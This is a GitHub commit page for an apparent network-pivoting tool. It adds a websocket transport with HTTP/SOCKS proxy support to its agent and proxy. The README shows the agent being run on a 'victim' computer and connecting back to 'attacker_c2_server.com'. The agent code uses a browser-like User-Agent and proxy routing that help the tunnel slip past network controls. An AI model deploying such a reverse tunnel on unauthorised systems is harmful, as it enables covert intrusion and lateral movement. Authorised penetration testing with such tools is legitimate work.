Skip to content

Commit 97ed394

Browse files
authoredAug 4, 2024
Merge pull request #87 from virusvfv/Websockets
Add websocket protocol with http-proxy support
2 parents 7f725ca + 00531fe commit 97ed394

File tree

6 files changed

+175
-44
lines changed

6 files changed

+175
-44
lines changed
 

‎README.md

+15-1
Original file line numberDiff line numberDiff line change
@@ -132,6 +132,11 @@ $ ./proxy -h # Help options
132132
$ ./proxy -autocert # Automatically request LetsEncrypt certificates
133133
$ ./proxy -selfcert # Use self-signed certificates
134134
```
135+
For using websocket protocol start the *proxy* server with `https://` prefix
136+
```shell
137+
$ ./proxy -selfcert https://0.0.0.0:8443 # Use self-signed certificates
138+
```
139+
135140

136141
### TLS Options
137142

@@ -182,7 +187,16 @@ Start the *agent* on your target (victim) computer (no privileges are required!)
182187
$ ./agent -connect attacker_c2_server.com:11601
183188
```
184189

185-
> If you want to tunnel the connection over a SOCKS5 proxy, you can use the `--socks ip:port` option. You can specify SOCKS credentials using the `--socks-user` and `--socks-pass` arguments.
190+
You can use websocket connection to ligolo-ng proxy by adding https:// prefix (by default 443 port will be used):
191+
```shell
192+
$ ./agent -connect https://attacker_c2_server.com
193+
$ ./agent -connect https://attacker_c2_server.com:8443
194+
```
195+
196+
> If you want to tunnel the connection over a SOCKS5/HTTP proxy, you can use the `--proxy schema://username:password@ip:port` option.
197+
> Examples: `--proxy http://127.0.0.1:8080`, `--proxy http://admin:secret@127.0.0.1:8080`, `--proxy socks5://admin:secret@127.0.0.1:1080`
198+
>
199+
> HTTP proxy can be used only with websocket protocol.
186200
187201
A session should appear on the *proxy* server.
188202

‎cmd/agent/main.go

+112-29
Original file line numberDiff line numberDiff line change
@@ -2,6 +2,7 @@ package main
22

33
import (
44
"bytes"
5+
"context"
56
"crypto/sha256"
67
"crypto/tls"
78
"crypto/x509"
@@ -14,7 +15,11 @@ import (
1415
"github.com/sirupsen/logrus"
1516
goproxy "golang.org/x/net/proxy"
1617
"net"
18+
"net/http"
19+
"net/url"
20+
"nhooyr.io/websocket"
1721
"os"
22+
"strings"
1823
"time"
1924
)
2025

@@ -30,11 +35,12 @@ func main() {
3035
var acceptFingerprint = flag.String("accept-fingerprint", "", "accept certificates matching the following SHA256 fingerprint (hex format)")
3136
var verbose = flag.Bool("v", false, "enable verbose mode")
3237
var retry = flag.Bool("retry", false, "auto-retry on error")
33-
var socksProxy = flag.String("socks", "", "socks5 proxy address (ip:port)")
34-
var socksUser = flag.String("socks-user", "", "socks5 username")
35-
var socksPass = flag.String("socks-pass", "", "socks5 password")
38+
var socksProxy = flag.String("proxy", "", "proxy URL address (http://admin:secret@127.0.0.1:8080)"+
39+
" or socks://admin:secret@127.0.0.1:8080")
3640
var serverAddr = flag.String("connect", "", "connect to proxy (domain:port)")
3741
var bindAddr = flag.String("bind", "", "bind to ip:port")
42+
var userAgent = flag.String("ua", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "+
43+
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36", "HTTP User-Agent")
3844
var versionFlag = flag.Bool("version", false, "show the current version")
3945

4046
flag.Usage = func() {
@@ -91,11 +97,20 @@ func main() {
9197
if *serverAddr == "" {
9298
logrus.Fatal("please, specify the target host user -connect host:port")
9399
}
94-
host, _, err := net.SplitHostPort(*serverAddr)
95-
if err != nil {
96-
logrus.Fatal("invalid connect address, please use host:port")
100+
101+
serverUrl, err := url.Parse(*serverAddr)
102+
if serverUrl.Scheme == "https" && err == nil {
103+
//websocket https connection
104+
tlsConfig.ServerName = serverUrl.Hostname()
105+
} else {
106+
//direct connection. try to parse as host:port
107+
host, _, err := net.SplitHostPort(*serverAddr)
108+
if err != nil {
109+
logrus.Fatal("Invalid connect address, please use https://host:port for websocket or host:port for tcp")
110+
}
111+
tlsConfig.ServerName = host
97112
}
98-
tlsConfig.ServerName = host
113+
99114
if *ignoreCertificate {
100115
logrus.Warn("warning, certificate validation disabled")
101116
tlsConfig.InsecureSkipVerify = true
@@ -105,33 +120,51 @@ func main() {
105120

106121
for {
107122
var err error
108-
if *socksProxy != "" {
109-
if _, _, err := net.SplitHostPort(*socksProxy); err != nil {
110-
logrus.Fatal("invalid socks5 address, please use host:port")
111-
}
112-
conn, err = sockDial(*serverAddr, *socksProxy, *socksUser, *socksPass)
123+
if serverUrl.Scheme == "https" {
124+
*serverAddr = strings.Replace(*serverAddr, "https://", "wss://", 1)
125+
//websocket
126+
err = wsconnect(&tlsConfig, *serverAddr, *socksProxy, *userAgent)
113127
} else {
114-
conn, err = net.Dial("tcp", *serverAddr)
115-
}
116-
if err == nil {
117-
if *acceptFingerprint != "" {
118-
tlsConfig.InsecureSkipVerify = true
119-
tlsConfig.VerifyPeerCertificate = func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {
120-
crtFingerprint := sha256.Sum256(rawCerts[0])
121-
crtMatch, err := hex.DecodeString(*acceptFingerprint)
122-
if err != nil {
123-
return fmt.Errorf("invalid cert fingerprint: %v\n", err)
124-
}
125-
if bytes.Compare(crtMatch, crtFingerprint[:]) != 0 {
126-
return fmt.Errorf("certificate does not match fingerprint: %X != %X", crtFingerprint, crtMatch)
127-
}
128-
return nil
128+
if *socksProxy != "" {
129+
//suppose that scheme is socks:// or socks5://
130+
var proxyUrl *url.URL
131+
proxyUrl, err = url.Parse(*socksProxy)
132+
if err != nil {
133+
logrus.Fatal("invalid proxy address, please use socks5://host:port")
134+
}
135+
if proxyUrl.Scheme == "http" {
136+
logrus.Fatal("Can't use http-proxy with direct (tcp) connection. Only with websocket")
129137
}
138+
if proxyUrl.Scheme == "socks" || proxyUrl.Scheme == "socks5" {
139+
pass, _ := proxyUrl.User.Password()
140+
conn, err = sockDial(*serverAddr, proxyUrl.Host, proxyUrl.User.Username(), pass)
141+
} else {
142+
logrus.Fatal("invalid socks5 address, please use socks://host:port")
143+
}
144+
} else {
145+
conn, err = net.Dial("tcp", *serverAddr)
130146
}
131-
tlsConn := tls.Client(conn, &tlsConfig)
147+
if err == nil {
148+
if *acceptFingerprint != "" {
149+
tlsConfig.InsecureSkipVerify = true
150+
tlsConfig.VerifyPeerCertificate = func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error {
151+
crtFingerprint := sha256.Sum256(rawCerts[0])
152+
crtMatch, err := hex.DecodeString(*acceptFingerprint)
153+
if err != nil {
154+
return fmt.Errorf("invalid cert fingerprint: %v\n", err)
155+
}
156+
if bytes.Compare(crtMatch, crtFingerprint[:]) != 0 {
157+
return fmt.Errorf("certificate does not match fingerprint: %X != %X", crtFingerprint, crtMatch)
158+
}
159+
return nil
160+
}
161+
}
162+
tlsConn := tls.Client(conn, &tlsConfig)
132163

133-
err = connect(tlsConn)
164+
err = connect(tlsConn)
165+
}
134166
}
167+
135168
logrus.Errorf("Connection error: %v", err)
136169
if *retry {
137170
logrus.Info("Retrying in 5 seconds.")
@@ -169,3 +202,53 @@ func connect(conn net.Conn) error {
169202
go agent.HandleConn(conn)
170203
}
171204
}
205+
206+
func wsconnect(config *tls.Config, wsaddr string, proxystr string, useragent string) error {
207+
208+
//timeout for websocket library connection - 20 seconds
209+
ctx, cancel := context.WithTimeout(context.Background(), time.Second*20)
210+
defer cancel()
211+
212+
//in case of websocket proxy can be http with login:pass
213+
//Ex: proxystr = "http://admin:secret@127.0.0.1:8080"
214+
proxyUrl, err := url.Parse(proxystr)
215+
if err != nil || proxystr == "" {
216+
proxyUrl = nil
217+
}
218+
219+
httpTransport := &http.Transport{}
220+
config.MinVersion = tls.VersionTLS10
221+
222+
httpTransport = &http.Transport{
223+
MaxIdleConns: http.DefaultMaxIdleConnsPerHost,
224+
TLSClientConfig: config,
225+
Proxy: http.ProxyURL(proxyUrl),
226+
}
227+
228+
httpClient := &http.Client{Transport: httpTransport}
229+
httpheader := &http.Header{}
230+
httpheader.Add("User-Agent", useragent)
231+
232+
wsConn, _, err := websocket.Dial(ctx, wsaddr, &websocket.DialOptions{HTTPClient: httpClient, HTTPHeader: *httpheader})
233+
if err != nil {
234+
return err
235+
}
236+
237+
//timeout for netconn derived from websocket connection - it must be very big
238+
netctx, cancel := context.WithTimeout(context.Background(), time.Hour*999999)
239+
netConn := websocket.NetConn(netctx, wsConn, websocket.MessageBinary)
240+
defer cancel()
241+
yamuxConn, err := yamux.Server(netConn, yamux.DefaultConfig())
242+
if err != nil {
243+
return err
244+
}
245+
246+
logrus.Info("Websocket connection established")
247+
for {
248+
conn, err := yamuxConn.Accept()
249+
if err != nil {
250+
return err
251+
}
252+
go agent.HandleConn(conn)
253+
}
254+
}

‎cmd/proxy/main.go

+1-1
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,7 @@ var (
2222
func main() {
2323
var allowDomains []string
2424
var verboseFlag = flag.Bool("v", false, "enable verbose mode")
25-
var listenInterface = flag.String("laddr", "0.0.0.0:11601", "listening address ")
25+
var listenInterface = flag.String("laddr", "0.0.0.0:11601", "listening address (prefix with https:// for websocket)")
2626
var enableAutocert = flag.Bool("autocert", false, "automatically request letsencrypt certificates, requires port 80 to be accessible")
2727
var enableSelfcert = flag.Bool("selfcert", false, "dynamically generate self-signed certificates")
2828
var certFile = flag.String("certfile", "certs/cert.pem", "TLS server certificate")

‎go.mod

+1
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@ require (
1919
github.com/nicocha30/gvisor-ligolo v0.0.0-20230726075806-989fa2c0a413
2020
github.com/vishvananda/netlink v1.1.1-0.20211118161826-650dca95af54
2121
golang.org/x/sys v0.21.0
22+
nhooyr.io/websocket v1.8.11
2223
)
2324

2425
require (

‎go.sum

+2
Original file line numberDiff line numberDiff line change
@@ -145,3 +145,5 @@ gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8
145145
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
146146
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
147147
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
148+
nhooyr.io/websocket v1.8.11 h1:f/qXNc2/3DpoSZkHt1DQu6rj4zGC8JmkkLkWss0MgN0=
149+
nhooyr.io/websocket v1.8.11/go.mod h1:rN9OFWIUwuxg4fR5tELlYC04bXYowCP9GX47ivo2l+c=

‎pkg/controller/controller.go

+44-13
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,7 @@
11
package controller
22

33
import (
4+
"context"
45
"crypto/sha256"
56
"crypto/tls"
67
"errors"
@@ -9,6 +10,8 @@ import (
910
"golang.org/x/crypto/acme/autocert"
1011
"net"
1112
"net/http"
13+
"nhooyr.io/websocket"
14+
"strings"
1215
)
1316

1417
type Controller struct {
@@ -91,20 +94,48 @@ func (c *Controller) ListenAndServe() {
9194
return
9295
}
9396

94-
listener, err := tls.Listen(c.Network, c.Address, &tlsConfig)
95-
if err != nil {
96-
c.startchan <- err
97-
return
98-
}
99-
defer listener.Close()
100-
c.startchan <- nil // Controller is listening.
101-
logrus.Infof("Listening on %s", c.Address)
102-
for {
103-
conn, err := listener.Accept()
97+
if strings.HasPrefix(c.Address, "https://") {
98+
//SSL websocket protocol
99+
listener, err := tls.Listen(c.Network, strings.Replace(c.Address, "https://", "", 1), &tlsConfig)
100+
if err != nil {
101+
c.startchan <- err
102+
return
103+
}
104+
defer listener.Close()
105+
106+
c.startchan <- nil
107+
logrus.Infof("Listening websocket on %s", c.Address)
108+
109+
s := &http.Server{
110+
Handler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
111+
ws, err := websocket.Accept(w, r, nil)
112+
if err != nil {
113+
logrus.Error(err)
114+
return
115+
}
116+
netctx := context.Background()
117+
118+
c.Connection <- websocket.NetConn(netctx, ws, websocket.MessageBinary)
119+
}),
120+
}
121+
err = s.Serve(listener)
122+
} else {
123+
//direct listen with legacy ligolo-ng protocol
124+
listener, err := tls.Listen(c.Network, c.Address, &tlsConfig)
104125
if err != nil {
105-
logrus.Error(err)
106-
continue
126+
c.startchan <- err
127+
return
128+
}
129+
defer listener.Close()
130+
c.startchan <- nil // Controller is listening.
131+
logrus.Infof("Listening on %s", c.Address)
132+
for {
133+
conn, err := listener.Accept()
134+
if err != nil {
135+
logrus.Error(err)
136+
continue
137+
}
138+
c.Connection <- conn
107139
}
108-
c.Connection <- conn
109140
}
110141
}

0 commit comments

Comments
 (0)
Please sign in to comment.